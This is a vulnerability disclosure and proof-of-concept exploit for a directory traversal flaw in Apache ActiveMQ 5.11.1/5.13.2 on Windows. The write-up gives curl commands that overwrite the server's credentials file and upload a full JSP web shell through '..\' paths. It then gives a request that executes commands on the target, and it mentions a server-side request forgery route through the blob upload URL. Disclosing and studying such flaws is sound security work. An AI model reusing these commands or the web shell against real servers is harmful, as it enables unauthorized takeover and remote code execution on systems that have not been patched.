Apache ActiveMQ 5.11.1 / 5.13.2 Directory Traversal / Command Execution

2016.12.04
Credit: David Jorm
Risk: High
Local: No
Remote: Yes
CWE: CWE-22
CWE-78


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality. I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter. An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution. Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes: <bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping"> <property name="constraint" ref="securityConstraint"> <property name="pathSpec" value="/api/*,/admin/*,*.jsp"> </property></property> </bean> Effectively blocking the upload of JSP files into contexts that will allow them to execute. I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials: $ cat jetty-realm.properties hacker: hacker, admin $ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties This seems to have the disadvantage of requiring a reboot of the server to take effect. I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot. The attacker can then take a standard JSP shell: $ cat cmd.jsp <%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> Commands with JSP <FORM METHOD="GET" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML> Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context: $ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp And pop a calc on the server: $ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe Exploiting non-Windows servers All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked. That said, clients can specify the uploadUrl for a blob transfer, e.g.: tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers. Resolution The ActiveMQ project has released an advisory and patches. This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind. It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.


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